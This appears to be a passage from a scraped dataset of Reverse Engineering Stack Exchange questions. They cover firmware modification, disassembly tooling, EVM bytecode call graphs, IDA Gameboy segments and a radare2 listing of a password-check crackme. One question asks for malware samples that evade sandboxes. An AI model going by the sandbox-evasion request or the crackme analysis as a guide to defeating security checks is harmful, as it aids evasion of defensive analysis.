+ +1F0 - 8 - 03 59 7A 7E 7F 59 7A 7E + +1F1 - 8 - 03 7F 59 03 01 20 27 05 + +1F2 - 8 - 03 FA 3E 43 52 00 00 00 + +
+ +1F0 - 8 - 00 59 7A 7E 7F 59 7A 7E + +1F1 - 8 - 00 7F 59 02 01 20 27 05 + +1F2 - 8 - 00 55 56 C1 C2 00 00 00 + +Last 3 bytes from 1F2 (crc / checksum?) Always stays 0. + +Thanks hope someone can help us. +" +['firmware']," Title: How do I decompile/modify a .dfu file?Body: I'm trying to get my old 3D printer to work with wifi again. A while ago the company was shut down and the printer relied on their website for print queues and stuff, so now the only way to use the printer is with USB. I have been trying to modify the firmware so I could get the wifi running again, running to my computer instead of their website. +I was looking at the firmware with IDA and found the following: + + + +I'm not really sure what is means, but it looks like a directory. Is there A way that I can possibly extract that file and edit it? + +Sorry if this was a waste of time. I'm new to this, and all I want is the wifi working again on the darn printer. +" +"['disassembly', 'gdb', 'objdump', 'gcc']"," Title: Use GCC and objdump to disassemble any hex to assembly codeBody: What would be the best way (also fewer steps) to generate assembly code for a given hex code ? For e.g., if we know the architecture is x86, and given hex value 0x55, what is the best way to generate the disassembly using gcc, gdb, obdjump, or any other linux command line tools? +" +"['disassembly', 'disassemblers', 'byte-code', 'control-flow-graph', 'call-graph']"," Title: Which instruction at which address calls the address 0x1a95 or the address 0x204a in the following program or rather smart contract?Body: The Ethereum Virtual Machine uses a Virtual Instruction Set flavored for transaction processing that doesn’t use any registers and where all opcodes are a single byte long and have a single ABI for all the programming languages used (https://ethervm.io/#opcodes similar to the Java Virtual Machine from Oracle).
+There’s no executable format being used as everything runs at bare metal. The primary programming languages for the platform doesn’t even provide a standard library (but only keywords which translate into high level opcodes). + +Despite Ethereum being the second most valued cryptocurrency for years, I was unable to find a tool able to draw call graphs for that architecture or rather, I did find one which only treats jumps from addresses if written on the stack through PUSH instructions. + +So is there a tool fully supporting the Ethereum Virtual Machine’s bytecode (not half) for drawing call graphs or which instruction at which address calls the address 0x1a95 or the address 0x204a in this program (the blocks are at the top right bottom)? + +The full bytecode without any attempt to format it into blocks is here: + +
0x600035601c52740100000000000000000000000000000000000000006020526f7fffffffffffffffffffffffffffffff6040527fffffffffffffffffffffffffffffffff8000000000000000000000000000000060605274012a05f1fffffffffffffffffffffffffdabf41c006080527ffffffffffffffffffffffffed5fa0e000000000000000000000000000000000060a0526366d38203600051141561013b57602060046101403734156100b457600080fd5b60043560205181106100c557600080fd5b506000610140511415600654156007541516166100e157600080fd5b33600755610140516006557f556e6973776170205631000000000000000000000000000000000000000000006000557f554e492d563100000000000000000000000000000000000000000000000000006001556012600255005b63422f104360005114156105ab5760606004610140376000341160006101605111164261018051111661016d57600080fd5b6003546101a05260006101a051111561043e576000610140511161019057600080fd5b343031101561019e57600080fd5b343031036103a0526006543b6101b357600080fd5b6006543014156101c257600080fd5b602061046060246370a082316103e05230610400526103fc6006545afa6101e857600080fd5b600050610460516103c0526103a05161020057600080fd5b6103a05134151561021257600061022f565b6103c051346103c0513402041461022857600080fd5b6103c05134025b0460016103a05161023f57600080fd5b6103a05134151561025157600061026e565b6103c051346103c0513402041461026757600080fd5b6103c05134025b0401101561027b57600080fd5b60016103a05161028a57600080fd5b6103a05134151561029c5760006102b9565b6103c051346103c051340204146102b257600080fd5b6103c05134025b0401610480526103a0516102cc57600080fd5b6103a0513415156102de5760006102fb565b6101a051346101a051340204146102f457600080fd5b6101a05134025b046104a052610140516104a0511015610480516101605110151661031e57600080fd5b60043360e05260c052604060c02080546104a051825401101561034057600080fd5b6104a0518154018155506101a0516104a0516101a05101101561036257600080fd5b6104a0516101a051016003556006543b61037b57600080fd5b60065430141561038a57600080fd5b602061058060646323b872dd6104c052336104e052306105005261048051610520526104dc60006006545af16103bf57600080fd5b600050610580516103cf57600080fd5b6104805134337f06239653922ac7bea6aa2b19dc486b9361821d37712eb796adfd38d81de278ca60006000a46104a0516105a0523360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60206105a0a36104a05160005260206000f36105a9565b633b9aca003410156000600654141560006007541415161661045f57600080fd5b306007543b61046d57600080fd5b60075430141561047c57600080fd5b602061024060246306f2bf626101c0526006546101e0526101dc6007545afa6104a457600080fd5b60005061024051146104b557600080fd5b6101605161026052303161028052610280516003556102805160043360e05260c052604060c020556006543b6104ea57600080fd5b6006543014156104f957600080fd5b602061036060646323b872dd6102a052336102c052306102e05261026051610300526102bc60006006545af161052e57600080fd5b6000506103605161053e57600080fd5b6102605134337f06239653922ac7bea6aa2b19dc486b9361821d37712eb796adfd38d81de278ca60006000a461028051610380523360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610380a36102805160005260206000f35b005b63f88bf15a600051141561084a57608060046101403734156105cc57600080fd5b600061018051116000610160511116426101a051116000610140511116166105f357600080fd5b6003546101c05260006101c0511161060a57600080fd5b6006543b61061757600080fd5b60065430141561062657600080fd5b602061028060246370a0823161020052306102205261021c6006545afa61064c57600080fd5b600050610280516101e0526101c05161066457600080fd5b6101c051610140511515610679576000610699565b30316101405130316101405102041461069157600080fd5b303161014051025b046102a0526101c0516106ab57600080fd5b6101c0516101405115156106c05760006106e6565b6101e051610140516101e051610140510204146106dc57600080fd5b6101e05161014051025b046102c052610180516102c0511015610160516102a05110151661070957600080fd5b60043360e05260c052604060c020610140518154101561072857600080fd5b61014051815403815550610140516101c051101561074557600080fd5b610140516101c0510360035560006000600060006102a051336000f161076a57600080fd5b6006543b61077757600080fd5b60065430141561078657600080fd5b6020610380604463a9059cbb6102e05233610300526102c051610320526102fc60006006545af16107b657600080fd5b600050610380516107c657600080fd5b6102c0516102a051337f0fbf06c058b90cb038a618f8c2acbf6145f8b3570fd1fa56abb8f0f3f05b36e860006000a4610140516103a0526000337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60206103a0a360406103c0526103e06102a05181526102c0518160200152506103c0516103e0f3005b6000156109c6575b6101a05261014052610160526101805260006101805111600061016051111661087a57600080fd5b61014051151561088b5760006108ae565b6103e5610140516103e5610140510204146108a557600080fd5b6103e561014051025b6101c0526101c05115156108c35760006108e9565b610180516101c051610180516101c0510204146108df57600080fd5b610180516101c051025b6101e0526101605115156108fe576000610921565b6103e8610160516103e86101605102041461091857600080fd5b6103e861016051025b6101c051610160511515610936576000610959565b6103e8610160516103e86101605102041461095057600080fd5b6103e861016051025b01101561096557600080fd5b6101c05161016051151561097a57600061099d565b6103e8610160516103e86101605102041461099457600080fd5b6103e861016051025b0161020052610200516109af57600080fd5b610200516101e051046000526000516101a0515650005b600015610bf3575b6101a0526101405261016052610180526000610180511160006101605111166109f657600080fd5b610160511515610a07576000610a2d565b61014051610160516101405161016051020414610a2357600080fd5b6101405161016051025b1515610a3a576000610af6565b6103e8610160511515610a4e576000610a74565b61014051610160516101405161016051020414610a6a57600080fd5b6101405161016051025b6103e8610160511515610a88576000610aae565b61014051610160516101405161016051020414610aa457600080fd5b6101405161016051025b020414610aba57600080fd5b6103e8610160511515610ace576000610af4565b61014051610160516101405161016051020414610aea57600080fd5b6101405161016051025b025b6101c05261014051610180511015610b0d57600080fd5b6101405161018051031515610b23576000610b8e565b6103e561014051610180511015610b3957600080fd5b6101405161018051036103e561014051610180511015610b5857600080fd5b610140516101805103020414610b6d57600080fd5b6103e561014051610180511015610b8357600080fd5b610140516101805103025b6101e0526101e051610b9f57600080fd5b6101e0516101c0510460016101e051610bb757600080fd5b6101e0516101c05104011015610bcc57600080fd5b60016101e051610bdb57600080fd5b6101e0516101c05104016000526000516101a0515650005b600015610df4575b6101e0526101405261016052610180526101a0526101c0526000610160511160006101405111164261018051101516610c3357600080fd5b6006543b610c4057600080fd5b600654301415610c4f57600080fd5b60206102a060246370a0823161022052306102405261023c6006545afa610c7557600080fd5b6000506102a051610200526101405161016051610180516101a0516101c0516101e05161020051610220516102405161026051610280516102a0516102c0516389f2a8716102e05261014051610300526101405130311015610cd657600080fd5b6101405130310361032052610200516103405261034051610320516103005160065801610852565b6103a0526102c0526102a05261028052610260526102405261022052610200526101e0526101c0526101a0526101805261016052610140526103a0516102c052610160516102c0511015610d5157600080fd5b6006543b610d5e57600080fd5b600654301415610d6d57600080fd5b6020610460604463a9059cbb6103c0526101c0516103e0526102c051610400526103dc60006006545af1610da057600080fd5b60005061046051610db057600080fd5b6102c051610140516101a0517fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f60006000a46102c0516000526000516101e0515650005b63f39b5b9b6000511415610e715760406004610140376101405161016051638c717a3361018052346101a052610140516101c052610160516101e0523361020052336102205261022051610200516101e0516101c0516101a05160065801610bfb565b6102805261016052610140526102805160005260206000f3005b63ad65d76d6000511415610f245760606004610140376044356020518110610e9857600080fd5b5060006101805114153061018051141516610eb257600080fd5b610140516101605161018051638c717a336101a052346101c052610140516101e0526101605161020052336102205261018051610240526102405161022051610200516101e0516101c05160065801610bfb565b6102a0526101805261016052610140526102a05160005260206000f3005b60001561116c575b6101e0526101405261016052610180526101a0526101c0526000610160511160006101405111164261018051101516610f6457600080fd5b6006543b610f7157600080fd5b600654301415610f8057600080fd5b60206102a060246370a0823161022052306102405261023c6006545afa610fa657600080fd5b6000506102a051610200526101405161016051610180516101a0516101c0516101e05161020051610220516102405161026051610280516102a0516102c05163fd11c2236102e0526101405161030052610160513031101561100757600080fd5b61016051303103610320526102005161034052610340516103205161030051600658016109ce565b6103a0526102c0526102a05261028052610260526102405261022052610200526101e0526101c0526101a0526101805261016052610140526103a0516102c05260016102c051026103e0526103e05161016051101561108d57600080fd5b6103e05161016051036103c05260006103c05111156110c35760006000600060006103c0516101a0516000f16110c257600080fd5b5b6006543b6110d057600080fd5b6006543014156110df57600080fd5b60206104a0604463a9059cbb610400526101c05161042052610140516104405261041c60006006545af161111257600080fd5b6000506104a05161112257600080fd5b6101405160016102c051026101a0517fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f60006000a460016102c051026000526000516101e0515650005b636b1d4db760005114156111e95760406004610140376101405161016051632dff394e61018052610140516101a052346101c052610160516101e0523361020052336102205261022051610200516101e0516101c0516101a05160065801610f2c565b6102805261016052610140526102805160005260206000f3005b630b573638600051141561129c576060600461014037604435602051811061121057600080fd5b506000610180511415306101805114151661122a57600080fd5b610140516101605161018051632dff394e6101a052610140516101c052346101e0526101605161020052336102205261018051610240526102405161022051610200516101e0516101c05160065801610f2c565b6102a0526101805261016052610140526102a05160005260206000f3005b6000156114b3575b6101e0526101405261016052610180526101a0526101c05260006101605111600061014051111642610180511015166112dc57600080fd5b6006543b6112e957600080fd5b6006543014156112f857600080fd5b60206102a060246370a0823161022052306102405261023c6006545afa61131e57600080fd5b6000506102a051610200526101405161016051610180516101a0516101c0516101e05161020051610220516102405161026051610280516102a0516102c0516389f2a8716102e0526101405161030052610200516103205230316103405261034051610320516103005160065801610852565b6103a0526102c0526102a05261028052610260526102405261022052610200526101e0526101c0526101a0526101805261016052610140526103a0516102c05260016102c051026103c052610160516103c05110156113ef57600080fd5b60006000600060006103c0516101c0516000f161140b57600080fd5b6006543b61141857600080fd5b60065430141561142757600080fd5b60206104a060646323b872dd6103e0526101a05161040052306104205261014051610440526103fc60006006545af161145f57600080fd5b6000506104a05161146f57600080fd5b6103c051610140516101a0517f7f4091b46c33e918a0f3aa42307641d17bb67029427a5369e54b35398423870560006000a46103c0516000526000516101e0515650005b6395e3c50b600051141561154657606060046101403734156114d457600080fd5b61014051610160516101805163fa1bb7be6101a052610140516101c052610160516101e0526101805161020052336102205233610240526102405161022051610200516101e0516101c051600658016112a4565b6102a0526101805261016052610140526102a05160005260206000f3005b637237e031600051141561160f576080600461014037341561156757600080fd5b606435602051811061157857600080fd5b5060006101a0511415306101a05114151661159257600080fd5b6101405161016051610180516101a05163fa1bb7be6101c052610140516101e0526101605161020052610180516102205233610240526101a05161026052610260516102405161022051610200516101e051600658016112a4565b6102c0526101a0526101805261016052610140526102c05160005260206000f3005b600015611813575b6101e0526101405261016052610180526101a0526101c05260006101405111426101805110151661164757600080fd5b6006543b61165457600080fd5b60065430141561166357600080fd5b60206102a060246370a0823161022052306102405261023c6006545afa61168957600080fd5b6000506102a051610200526101405161016051610180516101a0516101c0516101e05161020051610220516102405161026051610280516102a0516102c05163fd11c2236102e05261014051610300526102005161032052303161034052610340516103205161030051600658016109ce565b6103a0526102c0526102a05261028052610260526102405261022052610200526101e0526101c0526101a0526101805261016052610140526103a0516102c0526102c05161016051101561174f57600080fd5b6000600060006000610140516101c0516000f161176b57600080fd5b6006543b61177857600080fd5b60065430141561178757600080fd5b602061048060646323b872dd6103c0526101a0516103e05230610400526102c051610420526103dc60006006545af16117bf57600080fd5b600050610480516117cf57600080fd5b610140516102c0516101a0517f7f4091b46c33e918a0f3aa42307641d17bb67029427a5369e54b35398423870560006000a46102c0516000526000516101e0515650005b63013efd8b60005114156118a6576060600461014037341561183457600080fd5b61014051610160516101805163984fe8f66101a052610140516101c052610160516101e0526101805161020052336102205233610240526102405161022051610200516101e0516101c05160065801611617565b6102a0526101805261016052610140526102a05160005260206000f3005b63d4e4841d600051141561196f57608060046101403734156118c757600080fd5b60643560205181106118d857600080fd5b5060006101a0511415306101a0511415166118f257600080fd5b6101405161016051610180516101a05163984fe8f66101c052610140516101e0526101605161020052610180516102205233610240526101a05161026052610260516102405161022051610200516101e05160065801611617565b6102c0526101a0526101805261016052610140526102c05160005260206000f3005b600015611c0a575b610220526101405261016052610180526101a0526101c0526101e0526102005260006101805111600061016051111660006101405111426101a051101516166119bf57600080fd5b600061020051141530610200511415166119d857600080fd5b6006543b6119e557600080fd5b6006543014156119f457600080fd5b60206102e060246370a0823161026052306102805261027c6006545afa611a1a57600080fd5b6000506102e051610240526101405161016051610180516101a0516101c0516101e05161020051610220516102405161026051610280516102a0516102c0516102e051610300516389f2a871610320526101405161034052610240516103605230316103805261038051610360516103405160065801610852565b6103e052610300526102e0526102c0526102a05261028052610260526102405261022052610200526101e0526101c0526101a0526101805261016052610140526103e05161030052600161030051026104005261018051610400511015611afb57600080fd5b6006543b611b0857600080fd5b600654301415611b1757600080fd5b60206104e060646323b872dd610420526101c051610440523061046052610140516104805261043c60006006545af1611b4f57600080fd5b6000506104e051611b5f57600080fd5b610200513b611b6d57600080fd5b61020051301415611b7d57600080fd5b60206105e0606463ad65d76d6105205261016051610540526101a051610560526101e0516105805261053c61040051610200515af1611bbb57600080fd5b6000506105e0516105005261040051610140516101c0517f7f4091b46c33e918a0f3aa42307641d17bb67029427a5369e54b35398423870560006000a461050051600052600051610220515650005b63ddf7e1a76000511415611d575760a06004610140373415611c2b57600080fd5b6084356020518110611c3c57600080fd5b506007543b611c4a57600080fd5b600754301415611c5957600080fd5b602061028060246306f2bf62610200526101c0516102205261021c6007545afa611c8257600080fd5b600050610280516101e0526101405161016051610180516101a0516101c0516101e051610200516102205161024051610260516102805163204ea33b6102a052610140516102c052610160516102e05261018051610300526101a05161032052336103405233610360526101e0516103805261038051610360516103405161032051610300516102e0516102c05160065801611977565b6103e05261028052610260526102405261022052610200526101e0526101c0526101a0526101805261016052610140526103e05160005260206000f3005b63f552d91b6000511415611ec15760c06004610140373415611d7857600080fd5b6084356020518110611d8957600080fd5b5060a4356020518110611d9b57600080fd5b506007543b611da957600080fd5b600754301415611db857600080fd5b60206102a060246306f2bf62610220526101e0516102405261023c6007545afa611de157600080fd5b6000506102a051610200526101405161016051610180516101a0516101c0516101e05161020051610220516102405161026051610280516102a05163204ea33b6102c052610140516102e052610160516103005261018051610320526101a0516103405233610360526101c05161038052610200516103a0526103a05161038051610360516103405161032051610300516102e05160065801611977565b610400526102a05261028052610260526102405261022052610200526101e0526101c0526101a0526101805261016052610140526104005160005260206000f3005b6000156121d7575b610220526101405261016052610180526101a0526101c0526101e05261020052600061018051116000610140511116426101a051101516611f0957600080fd5b60006102005114153061020051141516611f2257600080fd5b610200513b611f3057600080fd5b61020051301415611f4057600080fd5b60206102e060246359e9486261026052610140516102805261027c610200515afa611f6a57600080fd5b6000506102e051610240526006543b611f8257600080fd5b600654301415611f9157600080fd5b60206103a060246370a0823161032052306103405261033c6006545afa611fb757600080fd5b6000506103a051610300526101405161016051610180516101a0516101c0516101e05161020051610220516102405161026051610280516102a0516102c0516102e05161030051610320516103405161036051610380516103a0516103c05163fd11c2236103e05261024051610400526103005161042052303161044052610440516104205161040051600658016109ce565b6104a0526103c0526103a05261038052610360526103405261032052610300526102e0526102c0526102a05261028052610260526102405261022052610200526101e0526101c0526101a0526101805261016052610140526104a0516103c052610240516101805110156103c051610160511015166120c857600080fd5b6006543b6120d557600080fd5b6006543014156120e457600080fd5b602061058060646323b872dd6104c0526101c0516104e05230610500526103c051610520526104dc60006006545af161211c57600080fd5b6000506105805161212c57600080fd5b610200513b61213a57600080fd5b6102005130141561214a57600080fd5b60206106806064630b5736386105c052610140516105e0526101a051610600526101e051610620526105dc61024051610200515af161218857600080fd5b600050610680516105a052610240516103c0516101c0517f7f4091b46c33e918a0f3aa42307641d17bb67029427a5369e54b35398423870560006000a46103c051600052600051610220515650005b63b040d54560005114156123245760a060046101403734156121f857600080fd5b608435602051811061220957600080fd5b506007543b61221757600080fd5b60075430141561222657600080fd5b602061028060246306f2bf62610200526101c0516102205261021c6007545afa61224f57600080fd5b600050610280516101e0526101405161016051610180516101a0516101c0516101e0516102005161022051610240516102605161028051631a7b28f26102a052610140516102c052610160516102e05261018051610300526101a05161032052336103405233610360526101e0516103805261038051610360516103405161032051610300516102e0516102c05160065801611ec9565b6103e05261028052610260526102405261022052610200526101e0526101c0526101a0526101805261016052610140526103e05160005260206000f3005b63f3c0efe9600051141561248e5760c0600461014037341561234557600080fd5b608435602051811061235657600080fd5b5060a435602051811061236857600080fd5b506007543b61237657600080fd5b60075430141561238557600080fd5b60206102a060246306f2bf62610220526101e0516102405261023c6007545afa6123ae57600080fd5b6000506102a051610200526101405161016051610180516101a0516101c0516101e05161020051610220516102405161026051610280516102a051631a7b28f26102c052610140516102e052610160516103005261018051610320526101a0516103405233610360526101c05161038052610200516103a0526103a05161038051610360516103405161032051610300516102e05160065801611ec9565b610400526102a05261028052610260526102405261022052610200526101e0526101c0526101a0526101805261016052610140526104005160005260206000f3005b63b1cb43bf600051141561255b5760a060046101403734156124af57600080fd5b60843560205181106124c057600080fd5b506101405161016051610180516101a0516101c05163204ea33b6101e0526101405161020052610160516102205261018051610240526101a051610260523361028052336102a0526101c0516102c0526102c0516102a051610280516102605161024051610220516102005160065801611977565b610320526101c0526101a0526101805261016052610140526103205160005260206000f3005b63ec384a3e60005114156126555760c0600461014037341561257c57600080fd5b608435602051811061258d57600080fd5b5060a435602051811061259f57600080fd5b50306101c05114156125b057600080fd5b6101405161016051610180516101a0516101c0516101e05163204ea33b610200526101405161022052610160516102405261018051610260526101a05161028052336102a0526101c0516102c0526101e0516102e0526102e0516102c0516102a0516102805161026051610240516102205160065801611977565b610340526101e0526101c0526101a0526101805261016052610140526103405160005260206000f3005b63ea650c7d60005114156127225760a0600461014037341561267657600080fd5b608435602051811061268757600080fd5b506101405161016051610180516101a0516101c051631a7b28f26101e0526101405161020052610160516102205261018051610240526101a051610260523361028052336102a0526101c0516102c0526102c0516102a051610280516102605161024051610220516102005160065801611ec9565b610320526101c0526101a0526101805261016052610140526103205160005260206000f3005b63981a1327600051141561281c5760c0600461014037341561274357600080fd5b608435602051811061275457600080fd5b5060a435602051811061276657600080fd5b50306101c051141561277757600080fd5b6101405161016051610180516101a0516101c0516101e051631a7b28f2610200526101405161022052610160516102405261018051610260526101a05161028052336102a0526101c0516102c0526101e0516102e0526102e0516102c0516102a0516102805161026051610240516102205160065801611ec9565b610340526101e0526101c0526101a0526101805261016052610140526103405160005260206000f3005b63cd7724c36000511415612918576020600461014037341561283d57600080fd5b6000610140511161284d57600080fd5b6006543b61285a57600080fd5b60065430141561286957600080fd5b602061020060246370a0823161018052306101a05261019c6006545afa61288f57600080fd5b60005061020051610160526101405161016051610180516101a0516101c0516101e051610200516389f2a871610220526101405161024052303161026052610160516102805261028051610260516102405160065801610852565b6102e052610200526101e0526101c0526101a0526101805261016052610140526102e05160005260206000f3005b6359e948626000511415612a27576020600461014037341561293957600080fd5b6000610140511161294957600080fd5b6006543b61295657600080fd5b60065430141561296557600080fd5b602061020060246370a0823161018052306101a05261019c6006545afa61298b57600080fd5b60005061020051610160526101405161016051610180516101a0516101c0516101e051610200516102205163fd11c223610240526101405161026052303161028052610160516102a0526102a0516102805161026051600658016109ce565b6103005261022052610200526101e0526101c0526101a05261018052610160526101405261030051610220526001610220510260005260206000f3005b6395b68fe76000511415612b365760206004610140373415612a4857600080fd5b60006101405111612a5857600080fd5b6006543b612a6557600080fd5b600654301415612a7457600080fd5b602061020060246370a0823161018052306101a05261019c6006545afa612a9a57600080fd5b60005061020051610160526101405161016051610180516101a0516101c0516101e05161020051610220516389f2a871610240526101405161026052610160516102805230316102a0526102a051610280516102605160065801610852565b6103005261022052610200526101e0526101c0526101a05261018052610160526101405261030051610220526001610220510260005260206000f3005b632640f62c6000511415612c325760206004610140373415612b5757600080fd5b60006101405111612b6757600080fd5b6006543b612b7457600080fd5b600654301415612b8357600080fd5b602061020060246370a0823161018052306101a05261019c6006545afa612ba957600080fd5b60005061020051610160526101405161016051610180516101a0516101c0516101e0516102005163fd11c2236102205261014051610240526101605161026052303161028052610280516102605161024051600658016109ce565b6102e052610200526101e0526101c0526101a0526101805261016052610140526102e05160005260206000f3005b639d76ea586000511415612c58573415612c4b57600080fd5b60065460005260206000f3005b63966dae0e6000511415612c7e573415612c7157600080fd5b60075460005260206000f3005b6370a082316000511415612ccd5760206004610140373415612c9f57600080fd5b6004356020518110612cb057600080fd5b5060046101405160e05260c052604060c0205460005260206000f3005b63a9059cbb6000511415612d985760406004610140373415612cee57600080fd5b6004356020518110612cff57600080fd5b5060043360e05260c052604060c0206101605181541015612d1f57600080fd5b6101605181540381555060046101405160e05260c052604060c0208054610160518254011015612d4e57600080fd5b61016051815401815550610160516101805261014051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6020610180a3600160005260206000f3005b6323b872dd6000511415612eb35760606004610140373415612db957600080fd5b6004356020518110612dca57600080fd5b506024356020518110612ddc57600080fd5b5060046101405160e05260c052604060c0206101805181541015612dff57600080fd5b6101805181540381555060046101605160e05260c052604060c0208054610180518254011015612e2e57600080fd5b6101805181540181555060056101405160e05260c052604060c0203360e05260c052604060c0206101805181541015612e6657600080fd5b61018051815403815550610180516101a05261016051610140517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60206101a0a3600160005260206000f3005b63095ea7b36000511415612f485760406004610140373415612ed457600080fd5b6004356020518110612ee557600080fd5b506101605160053360e05260c052604060c0206101405160e05260c052604060c02055610160516101805261014051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256020610180a3600160005260206000f3005b63dd62ed3e6000511415612fb85760406004610140373415612f6957600080fd5b6004356020518110612f7a57600080fd5b506024356020518110612f8c57600080fd5b5060056101405160e05260c052604060c0206101605160e05260c052604060c0205460005260206000f3005b6306fdde036000511415612fde573415612fd157600080fd5b60005460005260206000f3005b6395d89b416000511415613004573415612ff757600080fd5b60015460005260206000f3005b63313ce567600051141561302a57341561301d57600080fd5b60025460005260206000f3005b6318160ddd600051141561305057341561304357600080fd5b60035460005260206000f3005b638c717a33610140523461016052600161018052426101a052336101c052336101e0526101e0516101c0516101a051610180516101605160065801610bfb565b61024052610240
+
+ +Both a fully working tool (unlike the current one) for the problem or the answer to it can be the answer. +" +"['ida', 'memory']"," Title: Telling IDA that all references to an address range belong to the same segmentBody: For context: I'm using IDA to reverse engineer Gameboy code. I'm using this Gameboy loader to load files. The Gameboy has a 16 bit address space, where addresses $0-$3FFF always point to a fixed portion of ROM in the ROM image, called the home bank, whereas $4000-$7FFF points to a selectable ROM bank. The loader in question emulates this by mapping the 16-bit address space to a virtual memory space where each memory is in a separate segment. + +So far, so good. When code in the home bank is calling code in one of the selectable banks, I press alt-R to choose a segment for the target. This is unavoidable since IDA can't know automatically which segment the target is in. However, since the home bank is fixed, I would like to set up IDA in such a way that it automatically understands that all jumps to the area $0-$3FFF area end up in segment 0, without needing to manually assign addresses. $0-$3FFF in the virtual memory space always unambiguously refers to $0-$3FFF in the linear memory space. Is this possible? +" +"['malware', 'emulation', 'sandbox']"," Title: Malware Samples that defeats emulators by using uncommon API callsBody: I am looking for a few malware samples that detects sandboxes using uncommon API calls. I understand that one of the drawbacks of OS emulated sandboxes is that the malware can use uncommon API calls to crash the emulator/sandboxes. Does anyone know of such samples? It would be great if different samples asking for different APIs could be supplied. + +Thank you! +" +"['ida', 'disassembly', 'radare2', 'gdb', 'decryption']"," Title: How to decrypt the password using radare2 or gdb?Body:
                                                              .--------------------------------------------------.
+                                                              | [0x804851b]                                      |
+                                                              | (fcn) main 522                                   |
+                                                              |   int main (int argc, char **argv, char **envp); |
+                                                              | ; var int32_t var_38h @ ebp-0x38                 |
+                                                              | ; var int32_t var_34h @ ebp-0x34                 |
+                                                              | ; var int32_t var_30h @ ebp-0x30                 |
+                                                              | ; var int32_t var_2ch @ ebp-0x2c                 |
+                                                              | ; var int32_t var_28h @ ebp-0x28                 |
+                                                              | ; var int32_t var_24h @ ebp-0x24                 |
+                                                              | ; var int32_t var_ch @ ebp-0xc                   |
+                                                              | ; var int32_t var_8h @ ebp-0x8                   |
+                                                              | ; arg int32_t arg_4h @ esp+0x4                   |
+                                                              | ; DATA XREF from entry0 @ 0x8048437              |
+                                                              | lea ecx, [arg_4h]                                |
+                                                              | and esp, 0xfffffff0                              |
+                                                              | push dword [ecx - 4]                             |
+                                                              | push ebp                                         |
+                                                              | mov ebp, esp                                     |
+                                                              | push ebx                                         |
+                                                              | push ecx                                         |
+                                                              | sub esp, 0x30                                    |
+                                                              | mov eax, dword gs:[0x14]                         |
+                                                              | mov dword [var_ch], eax                          |
+                                                              | xor eax, eax                                     |
+                                                              | mov dword [var_2ch], 0                           |
+                                                              | mov dword [var_38h], 0                           |
+                                                              | mov dword [var_34h], 1                           |
+                                                              | sub esp, 0xc                                     |
+                                                              | ; 0x80487d0                                      |
+                                                              | ; ""Enter the password: ""                         |
+                                                              | push str.Enter_the_password:                     |
+                                                              | ; int printf(const char *format)                 |
+                                                              | call sym.imp.printf;[oa]                         |
+                                                              | add esp, 0x10                                    |
+                                                              | sub esp, 4                                       |
+                                                              | lea eax, [var_24h]                               |
+                                                              | ; 20                                             |
+                                                              | add eax, 0x14                                    |
+                                                              | push eax                                         |
+                                                              | lea eax, [var_24h]                               |
+                                                              | ; 16                                             |
+                                                              | add eax, 0x10                                    |
+                                                              | push eax                                         |
+                                                              | lea eax, [var_24h]                               |
+                                                              | ; 12                                             |
+                                                              | add eax, 0xc                                     |
+                                                              | push eax                                         |
+                                                              | lea eax, [var_24h]                               |
+                                                              | add eax, 8                                       |
+                                                              | push eax                                         |
+                                                              | lea eax, [var_24h]                               |
+                                                              | add eax, 4                                       |
+                                                              | push eax                                         |
+                                                              | lea eax, [var_24h]                               |
+                                                              | push eax                                         |
+                                                              | ; 0x80487e5                                      |
+                                                              | ; ""%d %d %d %d %d %d""                            |
+                                                              | push str.d__d__d__d__d__d                        |
+                                                              | ; int scanf(const char *format)                  |
+                                                              | call sym.imp.__isoc99_scanf;[ob]                 |
+                                                              | add esp, 0x20                                    |
+                                                              | sub esp, 0xc                                     |
+                                                              | ; 8                                              |
+                                                              | push 8                                           |
+                                                              | ;  void *malloc(size_t size)                     |
+                                                              | call sym.imp.malloc;[oc]                         |
+                                                              | add esp, 0x10                                    |
+                                                              | mov dword [var_28h], eax                         |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | ; [0x16452:4]=-1                                 |
+                                                              | mov dword [eax], 0x16452                         |
+                                                              | sub esp, 0xc                                     |
+                                                              | ; 8                                              |
+                                                              | push 8                                           |
+                                                              | ;  void *malloc(size_t size)                     |
+                                                              | call sym.imp.malloc;[oc]                         |
+                                                              | add esp, 0x10                                    |
+                                                              | mov edx, eax                                     |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov dword [eax + 4], edx                         |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | ; [0x16456:4]=-1                                 |
+                                                              | mov dword [eax], 0x16456                         |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov ebx, dword [eax + 4]                         |
+                                                              | sub esp, 0xc                                     |
+                                                              | ; 8                                              |
+                                                              | push 8                                           |
+                                                              | ;  void *malloc(size_t size)                     |
+                                                              | call sym.imp.malloc;[oc]                         |
+                                                              | add esp, 0x10                                    |
+                                                              | mov dword [ebx + 4], eax                         |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | ; [0x1645d:4]=-1                                 |
+                                                              | mov dword [eax], 0x1645d                         |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov ebx, dword [eax + 4]                         |
+                                                              | sub esp, 0xc                                     |
+                                                              | ; 8                                              |
+                                                              | push 8                                           |
+                                                              | ;  void *malloc(size_t size)                     |
+                                                              | call sym.imp.malloc;[oc]                         |
+                                                              | add esp, 0x10                                    |
+                                                              | mov dword [ebx + 4], eax                         |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
